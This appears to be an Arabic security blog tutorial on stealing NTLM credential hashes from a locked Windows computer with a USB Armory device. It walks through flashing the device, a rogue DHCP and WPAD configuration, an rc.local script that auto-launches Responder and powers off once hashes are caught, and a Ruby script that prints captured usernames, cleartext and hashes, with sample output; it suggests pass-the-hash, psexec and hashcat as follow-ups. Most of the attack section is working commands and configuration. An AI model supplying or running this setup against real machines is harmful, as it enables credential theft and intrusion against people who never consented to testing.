سرقة الصلاحيات من جهاز ويندوز مغلق باستخدام USB Armory

USB Armory

موضوعنا اليوم هو موضوع جميل ومهم جدا لل pentester و ال red teamer ويصنف تحت ال Physical Social Engineering Attack. اليوم سنتعلم كيفية سرقة ال NTLM hashes من جهاز ويندوز حتى لو كان الجهاز في Locked باستخدام USB Armory device.

نستفيد من هاشات ال NTLM في سيناريوهات كثيرة منها على سبيل الذكر لا الحصر

  • الدخول على ال Shared folders
  • أو في هجمات ال PTH على الجهاز أو على الخوادم التي قد يدخلها المستخدم من جهازه المستهدف
  • تنفيذ أوامر عن بعد على الجهاز المستهدف باستخدام psexec
  • محاول كسر الهاش و الحصول على كلمة المرور الحقيقة باستخدام أداة hashcat (قد تستغرق وقت طويل جدا)
  • إلخ

الجدير بالذكر هنا أنه لن تعيقنا أي Group policy  تمنع استخدام ال USB storage لان الكمبوتر المستهدف سيتعرف عليه على أنه USB Ethernet device.

ما هو جهاز USB Armory ؟

ببساطة, هو عبارة عن جهاز كومبيوتر بحجم Flash drive. تستطيع أن تثبت عليه نظام تشغيل وتتعامل معه بكامل خصائص نظام التشغيل. مكونات USB Armory المادية أو ال Hardware مفتوحة المصدر, بمعنى أنك تستطيع أن تطلع على تفاصيل تصميم الجهاز والتغيير في مكوناته كما تشاء.
قامت شركة InversePath والتي تم الاستحواذ عليها من شركة F-Secure والمتخصصة في عمل أجهزة بنية تحتية آمنة.
سعر الجهاز هو 155 دولار أمريكي

يحتوي جهاز USB armory على microSDcard كوحدة تخزين وهنا قائمة بال microSD cards المدعومة رسمية ولكنها لا تنحصر في هذه القائمة. فكل ال microSDcard الحديثة مدعومة ولكن يفضل أن تكون ذات سرعة عالية في القراءة والكتابة. أشهر الأنواع المدعومة والمتوفرة في جميع الدول العربية هي SanDisk لكن بشرط أن تكون Ultra. وحدة التخزين هذه هي التي تحتوي على نظام التشغيل والذي سنغطي اليوم طريقة تحميل و تثبيت و إعداد النظام عليها.

الخطوة الأولى:/ تحميل نظام التشغيل وتثبيته

في البداية نذهب إلى صفحة انظمة التشغيل المدعومة رسميا من هنا. كما أحبذ أن نستخدم نسخة USB armory base images. قد يستغرب عدم اختيارالنسخة ال Kali لكن بعد بحث وجدت أن نسخة الكالي يشتكي بعض الناس منها ووجود بعض ال Bugs في منصة ARM لهذا. كما أن النسخة التي اخترتها هي نفس ما تستخدمه الكالي تماما ولا شي مختلف على الإطلاق بل بالعكس تأتي النسخة مجردة تماما من جميع البرامج مما يجعلها صغيرة الحجم وسريعة.

الأن نذهب إلى الرابط تحميل النظام ونحمل أخر image موجودة. حاليا النسخة (usbarmory-debian_jessie-base_image-20170518.raw.zip) هي الأحدث حتى تاريخ كتابة هذا المقال.

1. تحميل النظام

wget -c https://github.com/inversepath/usbarmory-debian-base_image/releases/download/20170518/usbarmory-debian_jessie-base_image-20170518.raw.zip

نتأكد من أن أننا حملنا النسخة بشكل سليم

sha256sum usbarmory-debian_jessie-base_image-20170518.raw.zip

يجب أن تكون المخرجات كما في الصفحة التحميل الرسمية.

نفك ضغط النظام
unzip usbarmory-debian_jessie-base_image-20170518.raw.zip

ينتج عنه ملف
usbarmory-debian_jessie-base_image-20170518.raw

2. معرفة مكان أو تسمية ال microSD card في الجهاز

الآن دخل ال micro SD card في جهازك, جهاز الكمبيوتر الخاص بك وليس ال USB armory. ثم اعرض جميع وحدات التخزين الموجودة في جهازك
fdisk -l

في حالة جهازي كان تسمية ال SD cards هي /dev/sdc وقد تخلف التسمية عنده. كن حذر جدا هنا لأن في مرحلة الثبيت لو اخترت وحدة تخزين خاطئة ستقوم بمسح كل ما على تلك وحدة ووضع نظام التشغيل عليها! لهذا وجب التنبيه

 

3. تثبيت النظام على ال microSD card

بصلاحيات ال root نفذ الأمر التالي: (انبته لمسار وحدة التخزين هنا)
dd if=usbarmory-debian_jessie-base_image-20170518.raw of=/dev/sdc bs=1M conv=fsync

تستغرق هذه العملية لتكتمل ما بين 3 إلى 4 دقائق. لاحظ أننا استخدمنا /dev/sdc وليس /dev/sdc1

الأن أخرج ال microSD card من جهازك وركبه في الـ USB armory. أنصحك بالتعامل مع ال USB armory برفق لأن أجزاءه حساسة وخفيفة جدا.
وصل ال USB armory في جهازك في أي منفذ من منافذ ال USB الخاصة بكمبيوترك وانتظر 20 ثانية حتى يعمل نظام التشغيل بشكل كامل. ستلاحظ خلالها أنها تنير وتنطفئ بشكل مستمر. بعد انتظارك نفذ الأمر
ifconfig

سترى كرت شبكة جديد يأخذ IP محدد تلقائيا وهو 10.0.0.2

الخطوة الثانية:/ إعداد نظام التشغيل

لأننا نشارك الإنترنت مع نظام ال USB Armory يجب أن نجعل نظام التشغل الأساسي يعمل كـ Gateway بالخطوات التالية
1. اسمح بتمرير ال packets

echo 1 > /proc/sys/net/ipv4/ip_forward

2. إضافة iptables rules وتفعيل ال masqurade

iptables -I FORWARD -j ACCEPT
iptables -t nat -I POSTROUTING -o wls1 -j MASQUERADE

حيث wls1 هو كرت الشبكة المتصل بالإنترنت

الآن ادخل إلى الUSB armory عن طريق ال SSH على العنوان 10.0.0.1 وهذه العناوين ستكون ثابته دائما
ssh [email protected]

كلمة المرور الافتراضية هي: usbarmory

نبدأ إعداد النظام

1. تحديث المخازن والنظام

المخازن الافتراضية التي تأتي مع التوزيع ليست كافية وبها إصدارات قديمة وبرامج أقل لهذا سنقوم بعمل تحديث مرتين. مرة بالمخازن الافتراضية والثانية بالمخازن التي نريدها
تكأد أنك تصل إلى الانترنت من ال USB Armory ثم ابد بالتحديث
apt update && apt upgrade

ثبت البرامج التالية
apt install wget apt-transport-https dirmngr

الأن اذهب إلى الموقع التالي https://debgen.simplylinux.ch ثم اختر Stable واضغط Generate. سيظهر لك المخازن المطلوبة. نسخها في المسار /etc/apt/sources.list
ضع علامة # أمام المخازن القديمة لتجاهلها.
الأن نفذ الأمر التالي مرة أخرى
apt update && apt upgrade

2. تثبيت البرامج المطلوبة

ثبت البرامج التالية
apt -y install curl git screen sqlite3 build-essential libreadline-dev libssl-dev libpq5 libpq-dev libreadline5 libsqlite3-dev libpcap-dev autoconf postgresql pgadmin3 zlib1g-dev libxml2-dev libxslt1-dev libyaml-dev inotify-tools

apt install -y ruby ruby-dev
gem install sqlite3

apt install -y python python-pip python-dev
pip install pycrypto

 

3. إعداد ال DHCPd

خذ نسخة احتياطية من الملف
cp /etc/dhcp/dhcpd.conf /etc/dhcp/dhcpd.conf.orig

واجعل محتويات الملف الأصلي كالتالي

#
# Sample configuration file for ISC dhcpd for Debian
#

# have support for DDNS.
ddns-update-style none;

# option definitions common to all supported networks...
option domain-name "attacker.zone";
option domain-name-servers 10.0.0.1;

default-lease-time 600;
max-lease-time 7200;

# If this DHCP server is the official DHCP server for the local
# network, the authoritative directive should be uncommented.
authoritative;

# Use this to send dhcp log messages to a different log file (you also
# have to hack syslog.conf to complete the redirection).
log-facility local7;

# wpad - Web Proxy Auto-Discovery Protocol
option local-proxy-config code 252 = text;

# A slightly different configuration for an internal subnet.
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.2 10.0.0.3;
default-lease-time 60;
max-lease-time 72;
option routers 10.0.0.1;
option local-proxy-config "http://10.0.0.1/wpad.dat";
}

 

4. تحميل برنامج Responder

برنامج Responder هو واحد من أشهر البرامج حاليا في عمل خادم وهمي للكثير من الخدمات مثل HTTP/SMB/MSSQL/FTP/LDAP والتي تفيد في حقن الاتصال داخل الشبكة ويستخدم كثيرا في هجمات ال MiTM.
mkdir /pentest && cd /pentest
git clone https://github.com/spiderlabs/responder
chmod +x Responder.py

لاحظ في في إعدادات ال dhcp server أضفنا تحت WPAD أو Web Proxy Auto-Discovery Protocol وهو رابط إعدادات البروكسي والتي سيجبر فيه الجهاز المستخدم أن يذهب إلى هذا الرابط ويحملها ليقوم باكتشاف البروكس (بروكسي وهمي عن طريق برنامج Responder) قبل تصفحه أي موقع.

تشغيل البرامج تلقائيا عند بدء النظام

كل ما نريده هنا أن نجعل ال USB armory أن تشغل تلقائيا ال DHCP وبرنامج Responder بمجرد أنا يعمل النظام.

#!/bin/sh -e
#
# rc.local
#
# This script is executed at the end of each multiuser runlevel.
# Make sure that the script will "exit 0" on success or any other
# value on error.
#
# In order to enable or disable this script just change the execution
# bits.
#
# By default this script does nothing.

# Generate ssh host keys if missing
FILES=$(ls /etc/ssh/ssh_host_* 2> /dev/null | wc -l)
if [ "$FILES" = "0" ]; then
while [ $(cat /proc/sys/kernel/random/entropy_avail) -lt 256 ]; do
sleep 1;
done
/usr/sbin/dpkg-reconfigure openssh-server
fi

# Start DHCP server
if ! pgrep -x "dhcpd" > /dev/null
then
echo "Starting DHCPd" >> /root/rc.log
echo '' > /var/lib/dhcp/dhcpd.leases
/usr/sbin/dhcpd
fi

# Start Responder
echo "Staring Responder" >> /root/rc.log
/usr/bin/screen -dmS responder bash -c 'cd /pentest/responder/; python Responder.py -I usb0 -f -w -r -d -F'

echo "Staring cred watch" >> /root/rc.log
/usr/bin/screen -dmS notify bash -c 'while inotifywait -e modify /pentest/responder/Responder.db; do shutdown -h now; done'

exit 0

 

الخطوة:الثالثة:/ تنفيذ الهجوم واستعادة البيانات والاستفادة منها(اختراق الجهاز المستخدم)

الأن لم يبقى سوى توصيل USB Armory في الجهاز المستهدف والانتظار حتى يعمي ثم تنطفئ الإنارة تماما.

بعد اكتمال الهجوم وأخذ جهازنا, نستطيع أن نوصل ال USB Armory في الكومبيوتر الخاص بنا والحصول على الهاشات والصلاحيات التي تم جمعها

يتم تخزين الصلاحيات في مكانين
أولها قاعدة بيانات
/pentest/responder/Responder.db

ثانيها
/pentest/responder/logs/(MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt

وأفضل الملف الأول Responder.db لأنه يخزن جميع أنواع البيانات المسروقة ولا يحتاج منك البحث في أكثر من ملف مثل المسار الثاني.

قمت بعمل سكريبت صغير يقرأ قاعدة البيانات بشكل مرتب و سهل

#!/usr/bin/env ruby 
# KING SABRI | @KINGSABRI
# Responder database reader 
#
require "sqlite3"

if ARGV.size == 1 
  responder_db = ARGV[0]
else
  puts "Respnder.db path required!\nUsage: ruby responder-reader.rb /path/responder/Responder.db"
  exit 
end 

# Open
db = SQLite3::Database.new responder_db
records = db.execute "SELECT * FROM responder;"
records.each do |record|
 puts "Timestamp:  #{record[0]}"
 puts "Module:     #{record[1]}"
 puts "HashType:   #{record[2]}"
 puts "IPaddress:  #{record[3]}"
 puts "Hostname:   #{record[5].split('\\')[0]}"
 puts "Username:   #{record[5].split('\\')[1]}"
 puts "Cleartext:  #{record[6]}"
 puts "Hash:       #{record[7]}"
 puts "Full Hash:  #{record[8]}"
 puts 
end 
puts "[+] Number of records: #{records.size}"

 

ويستخدم بهذه الطريقة
ruby responder-reader.rb /pentest/responder/Responder.db

النتيجة

Timestamp: 2017-06-21 06:23:10
Module: HTTP
HashType: NTLMv2
IPaddress: 10.0.0.2
Hostname: DESKTOP-9INJ6LJ
Username: KING
Cleartext:
Hash: 8CVA8AFAF9909DA597CF3B7D84483438:0101000000000000241A342558EAD2013F8E3846E6C00698000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500.....
Full Hash: KING::DESKTOP-9INJ6LJ:1122334455667788:8CVA8AFAF9909DA597CF3B7D84483438:0101000000000000241A342558EAD2013F8E3846E6C00698000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500.....
[+] Number of records: 1

 

فيديو يوضح نتيجة الهجوم

 

بالإضافة إلى ما تم ذكره من سرقة ال NTLM hashes والجهاز وسطح المكتب مغلق, سيعمل الهجوب على إنشاء بروكسي وهمي (تذكر إعدادت ال DHCP و WPAD) ويجبر النظام على استخدامه فلو دخل المستخدم إلي جهازه وحاول تصفح الأنترنت ستظهر له شاشة تطلب إدخال اسم المستخدم كلمة المرور (غالبا ما سيدخل المستخدم كلمة المستخدم وكلمة المرور) وستخزن أيضا في قاعدة البيانات على شكل NTLM.

 

في النهاية أحب أن أنوه على أن استخدامات الـ USB Armory لا تنحصر في ما تطرقنا إليه فقط.

 

المصادر

نبذة عن الكاتب

المهندس صبري صالح. مهندس حماية شبكات و أنظمة و فحصها معالجة و تحليل الأحداث الأمنية و المسؤول عن تطبيق معايير الـ ISO 27001 , يعمل في بيئات متعددة المنصات. حاصل على عدة شهادات تقنية.

أكتب تعليق